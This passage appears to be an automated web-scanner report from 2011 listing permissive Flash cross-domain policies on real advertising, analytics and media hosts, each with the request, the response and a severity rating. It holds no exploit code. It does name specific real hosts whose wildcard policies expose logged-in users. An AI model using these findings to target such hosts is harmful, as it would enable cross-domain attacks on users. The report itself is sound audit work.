The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

5.1. http://0d7292.r.axf8.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://0d7292.r.axf8.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: 0d7292.r.axf8.net

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 20 Jul 2010 09:32:23 GMT
Accept-Ranges: bytes
ETag: "56b3a475ee27cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:54 GMT
Connection: close
Content-Length: 153

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.2. http://72d329.r.axf8.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://72d329.r.axf8.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: 72d329.r.axf8.net

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 20 Jul 2010 09:32:23 GMT
Accept-Ranges: bytes
ETag: "56b3a475ee27cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:33:06 GMT
Connection: close
Content-Length: 153

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.3. http://ad.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 258
Last-Modified: Thu, 18 Sep 2003 20:42:14 GMT
Date: Sat, 14 May 2011 10:09:14 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.4. http://altfarm.mediaplex.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: altfarm.mediaplex.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"204-1289502469000"
Last-Modified: Thu, 11 Nov 2010 19:07:49 GMT
Content-Type: text/xml
Content-Length: 204
Date: Sat, 14 May 2011 10:12:38 GMT
Connection: keep-alive

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

5.5. http://amch.questionmarket.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: amch.questionmarket.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:07 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Tue, 28 Mar 2006 15:45:05 GMT
ETag: "2005439f-d1-4100ff999c240"
Accept-Ranges: bytes
Content-Length: 209
Keep-Alive: timeout=120, max=103
Connection: Keep-Alive
Content-Type: application/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-
...[SNIP]...

5.6. http://api.dimestore.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.dimestore.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: api.dimestore.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 14 May 2011 10:31:37 GMT
Content-Type: text/xml
Content-Length: 85
Last-Modified: Tue, 21 Sep 2010 19:36:25 GMT
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.7. http://b.scorecardresearch.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: b.scorecardresearch.com

Response

HTTP/1.0 200 OK
Last-Modified: Wed, 10 Jun 2009 18:02:58 GMT
Content-Type: application/xml
Expires: Sun, 15 May 2011 10:09:22 GMT
Date: Sat, 14 May 2011 10:09:22 GMT
Content-Length: 201
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy
...[SNIP]...

5.8. http://bh.contextweb.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bh.contextweb.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bh.contextweb.com

Response

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1.1
ETag: W/"384-1279205345000"
Last-Modified: Thu, 15 Jul 2010 14:49:05 GMT
Content-Type: application/xml
Content-Length: 384
Date: Sat, 14 May 2011 10:18:57 GMT
Connection: Keep-Alive
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-contro
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.9. http://bp.specificclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bp.specificclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bp.specificclick.net

Response

HTTP/1.1 200 OK
Server: WebStar 1.0
Content-Type: text/xml
Content-Length: 194
Date: Sat, 14 May 2011 10:19:05 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

5.10. http://bs.serving-sys.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Thu, 21 Aug 2008 15:23:00 GMT
Accept-Ranges: bytes
ETag: "0e2c3cba13c91:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:09:23 GMT
Connection: close
Content-Length: 100

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.11. http://cache-01.cleanprint.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cache-01.cleanprint.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cache-01.cleanprint.net

Response

HTTP/1.0 200 OK
Date: Sat, 14 May 2011 10:22:11 GMT
Server: None
Last-Modified: Tue, 25 Sep 2007 18:50:19 GMT
ETag: "cb-43afa3566b0c0"
Accept-Ranges: bytes
X-Server: FD-02
Vary: Accept-Encoding
Content-Type: application/xml
Content-Language: en
Content-Length: 203
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

5.12. http://cdn.eyewonder.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.eyewonder.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.eyewonder.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=18000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "b2ae8e693141c91:13a0"
Server: Microsoft-IIS/6.0
p3p: policyref="/100125/w3c/p3p.xml", CP="NOI DSP LAW NID PSA OUR IND NAV STA COM"
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:17 GMT
Last-Modified: Fri, 07 Nov 2008 23:34:43 GMT
Expires: Sat, 14 May 2011 15:25:17 GMT
Content-Length: 195
Connection: close

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>

5.13. http://dowjones.tt.omtrdc.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dowjones.tt.omtrdc.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: dowjones.tt.omtrdc.net

Response

HTTP/1.1 200 OK
ETag: W/"201-1304618936000"
Accept-Ranges: bytes
Content-Length: 201
Date: Sat, 14 May 2011 10:35:40 GMT
Connection: close
Last-Modified: Thu, 05 May 2011 18:08:56 GMT
Server: Test & Target
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

...[SNIP]...

5.14. http://ds.serving-sys.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.serving-sys.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ds.serving-sys.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Thu, 20 Aug 2009 15:36:15 GMT
Server: Microsoft-IIS/6.0
Date: Sat, 14 May 2011 10:09:25 GMT
Content-Length: 100
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.15. http://fls.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: fls.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Sat, 14 May 2011 02:39:33 GMT
Expires: Sat, 30 Apr 2011 02:36:16 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Age: 26986
Cache-Control: public, max-age=86400

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.16. http://ib.adnxs.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ib.adnxs.com

Response

HTTP/1.0 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 15-May-2011 12:51:59 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.17. http://img.mediaplex.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: img.mediaplex.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:42 GMT
Server: Apache
Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT
ETag: "1b1f-c7-45e6d21e5d800"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.18. http://js.revsci.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: js.revsci.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/xml
Date: Sat, 14 May 2011 10:09:12 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-po
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.19. http://log30.doubleverify.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://log30.doubleverify.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: log30.doubleverify.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Sun, 17 Jan 2010 09:19:04 GMT
Accept-Ranges: bytes
ETag: "034d21c5697ca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:23:20 GMT
Connection: close
Content-Length: 378

...<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-control permitted-cross-dom
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.20. http://metrics.apple.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.apple.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: metrics.apple.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:59:34 GMT
Server: Omniture DC/2.0.0
xserver: www392
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.21. http://mp.apmebf.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: mp.apmebf.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:38 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT
ETag: "1b1f-c7-45e6d21e5d800"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.22. http://om.dowjoneson.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://om.dowjoneson.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: om.dowjoneson.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:19 GMT
Server: Omniture DC/2.0.0
xserver: www34
Content-Length: 167
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.23. http://pix04.revsci.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pix04.revsci.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/xml
Date: Sat, 14 May 2011 10:09:13 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-po
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.24. http://pixel.quantserve.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: pixel.quantserve.com

Response

HTTP/1.0 200 OK
Connection: close
Cache-Control: private, no-transform, must-revalidate, max-age=86400
Expires: Sun, 15 May 2011 10:25:15 GMT
Content-Type: text/xml
Content-Length: 207
Date: Sat, 14 May 2011 10:25:15 GMT
Server: QS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.25. http://puma.vizu.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://puma.vizu.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: puma.vizu.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:28 GMT
Server: PWS/1.7.2.1
X-Px: ht iad-agg-n30.panthercdn.com
ETag: "9c515-10d-5c70b100"
P3P: CP="DSP NID OTP UNR STP NON", policyref="/w3c/p3p.xml"
Cache-Control: max-age=604800
Expires: Tue, 17 May 2011 20:55:14 GMT
Age: 306854
Content-Length: 269
Content-Type: text/xml
Last-Modified: Fri, 15 Apr 2011 19:51:00 GMT
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-
...[SNIP]...

5.26. http://search.twitter.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://search.twitter.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: search.twitter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:09 GMT
Server: hi
Last-Modified: Tue, 25 Jan 2011 18:03:43 GMT
Cache-Control: max-age=1800
Expires: Sat, 14 May 2011 13:01:30 GMT
Content-Type: application/xml
Content-Length: 206
Vary: Accept-Encoding
X-Varnish: 1027532146 1027513283
Age: 158
Via: 1.1 varnish
X-Cache-Svr: smf1-aaq-23-sr1.prod.twitter.com
X-Cache: HIT
X-Cache-Hits: 1
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.27. http://secure-us.imrworldwide.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://secure-us.imrworldwide.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: secure-us.imrworldwide.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:12 GMT
Server: Apache
Cache-Control: max-age=604800
Expires: Sat, 21 May 2011 10:09:12 GMT
Last-Modified: Wed, 14 May 2008 01:55:09 GMT
ETag: "10c-482a467d"
Accept-Ranges: bytes
Content-Length: 268
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<site-control permi
...[SNIP]...

5.28. http://static.2mdn.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://static.2mdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: static.2mdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Fri, 13 May 2011 12:56:47 GMT
Expires: Sat, 14 May 2011 12:56:47 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 76893

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.29. http://t.mookie1.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://t.mookie1.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: t.mookie1.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:17:20 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Tue, 12 Apr 2011 21:52:25 GMT
ETag: "690c025-c9-4a0bfb522d840"
Accept-Ranges: bytes
Content-Length: 201
Keep-Alive: timeout=300, max=44
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

5.30. http://ad.wsod.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ad.wsod.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.wsod.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 14 May 2011 11:00:43 GMT
Content-Type: text/xml
Connection: close
Last-Modified: Tue, 16 Feb 2010 21:38:42 GMT
ETag: "906968-20a-47fbe8ebb5c80"
Accept-Ranges: bytes
Content-Length: 522
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="
...[SNIP]...
<allow-access-from domain="*.wsod.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.wallst.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.wsodqa.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.msn.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.msads.net" secure="false" />
...[SNIP]...

5.31. http://allthingsd.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://allthingsd.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: allthingsd.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:12:55 GMT
Content-Type: application/xml
Connection: close
Accept-Ranges: bytes
Last-Modified: Mon, 23 Feb 2009 23:54:50 GMT
Content-Length: 2031

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*.doubleclick.net" />
   <allow-access-from domain="m.doubleclick.net" />
   <allow-access-from domain="*.dowjonesonline.com" />
   <allow-access-from domain="www.dowjonesonline.com" />
   <allow-access-from domain="a.marketwatch.com" />
   <allow-access-from domain="*.marketwatch.com" />
   <allow-access-from domain="www.akamai.com" />
   <allow-access-from domain="*.akamai.com" />
   <allow-access-from domain="www.wsj.com" />
   <allow-access-from domain="*.wsj.com" />
   <allow-access-from domain="wsj.com" />
   <allow-access-from domain="*.online.wsj.com" />
   <allow-access-from domain="online.wsj.com" />
   <allow-access-from domain="public.wsj.com" />
   <allow-access-from domain="*.public.wsj.com" />
   <allow-access-from domain="www.barrons.com"/>
   <allow-access-from domain="*.barrons.com"/>
   <allow-access-from domain="*.online.barrons.com"/>
   <allow-access-from domain="online.barrons.com"/>
   <allow-access-from domain="public.barrons.com"/>
   <allow-access-from domain="*.public.barrons.com"/>
   <allow-access-from domain="*.aol.com" />
   <allow-access-from domain="*.brightcove.com" />
   <allow-access-from domain="creatives.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="wsjdigital.com" />
   <allow-access-from domain="s.wsj.net" />
   <allow-access-from domain="www.clearspring.com" />
   <allow-access-from domain="*.clearspring.com" />
   <allow-access-from domain="*.cooliris.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.piclens.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.myspacecdn.com" />
   <allow-access-from domain="*.myspace.com" />
   <allow-access-from domain="*.dowjones.net" />
   <allow-access-from domain="aes.online.edit.dowjones.net" />
...[SNIP]...

5.32. http://disqus.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://disqus.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: disqus.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:22:33 GMT
Server: Apache
Vary: Cookie,Accept-Encoding
p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Connection: close
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.usopen.org" to-ports="80,96" secure="false" />
...[SNIP]...

5.33. http://edge.sharethis.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://edge.sharethis.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: edge.sharethis.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Fri, 06 May 2011 17:23:38 GMT
ETag: "24e42-14a-4a29ec0155a80"
Content-Type: application/xml
Date: Sat, 14 May 2011 10:18:14 GMT
Content-Length: 330
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*.meandmybadself.com" />
<allow-access-from domain="*.sharethis.com" />
...[SNIP]...

5.34. http://googleads.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Fri, 13 May 2011 10:44:25 GMT
Expires: Sat, 14 May 2011 10:44:25 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 84823
Cache-Control: public, max-age=86400

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
